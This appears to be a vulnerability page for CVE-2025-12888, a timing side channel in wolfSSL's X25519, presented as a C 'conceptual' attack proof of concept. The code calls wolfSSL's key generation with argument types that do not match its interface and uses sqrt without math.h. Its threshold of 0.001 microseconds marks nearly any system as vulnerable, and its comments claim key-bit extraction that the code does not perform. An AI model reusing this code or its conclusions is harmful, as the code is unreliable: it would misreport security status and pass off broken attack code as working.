CVE-2025-12888 wolfSSL X25519时序侧信道漏洞

// CVE-2025-12888 Timing Side Channel Attack PoC (Conceptual) // This PoC demonstrates timing analysis against vulnerable X25519 implementations #include <stdio.h> #include <stdlib.h> #include <time.h> #include <wolfssl/options.h> #include <wolfssl/wolfcrypt/settings.h> #include <wolfssl/wolfcrypt/curve25519.h> #define NUM_SAMPLES 10000 #define TIMING_THRESHOLD 0.001 // microseconds // Timing measurement wrapper for X25519 key generation double measure_x25519_timing(word32* peerPublicKey, word32* outPublicKey, word32* outSecret) { struct timespec start, end; double elapsed; clock_gettime(CLOCK_MONOTONIC, &start); // Vulnerable: X25519 key generation with timing leak int ret = wc_curve25519_keygen(outPublicKey, outSecret, peerPublicKey); clock_gettime(CLOCK_MONOTONIC, &end); elapsed = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9; return elapsed; } // Statistical analysis to detect timing patterns int analyze_timing_pattern(double* samples, int n, double* mean, double* stddev) { double sum = 0.0; for (int i = 0; i < n; i++) sum += samples[i]; *mean = sum / n; double var = 0.0; for (int i = 0; i < n; i++) { double diff = samples[i] - *mean; var += diff * diff; } *stddev = sqrt(var / n); return 0; } // Differential timing analysis to extract key bits int timing_attack_analysis(word32* peerPublicKey) { double samples[NUM_SAMPLES]; word32 outPublicKey[8], outSecret[8]; printf("Collecting timing samples for CVE-2025-12888 analysis...\n"); for (int i = 0; i < NUM_SAMPLES; i++) { samples[i] = measure_x25519_timing(peerPublicKey, outPublicKey, outSecret); } double mean, stddev; analyze_timing_pattern(samples, NUM_SAMPLES, &mean, &stddev); printf("Mean: %.6f us, StdDev: %.6f us\n", mean * 1e6, stddev * 1e6); printf("Timing variance detected: %.6f us\n", stddev * 1e6); if (stddev * 1e6 > TIMING_THRESHOLD) { printf("[!] Vulnerability confirmed: Timing side channel detected\n"); printf("[*] Attacker can use statistical analysis to extract key material\n"); return 1; } return 0; } int main() { word32 peerPublicKey[8] = {0}; // Initialize wolfSSL wolfCrypt_Init(); // Perform timing attack analysis int vulnerable = timing_attack_analysis(peerPublicKey); if (vulnerable) { printf("[!] System is vulnerable to CVE-2025-12888\n"); printf("[*] Recommendation: Update wolfSSL to patched version\n"); } else { printf("[+] No significant timing leak detected\n"); } wolfCrypt_Cleanup(); return 0; }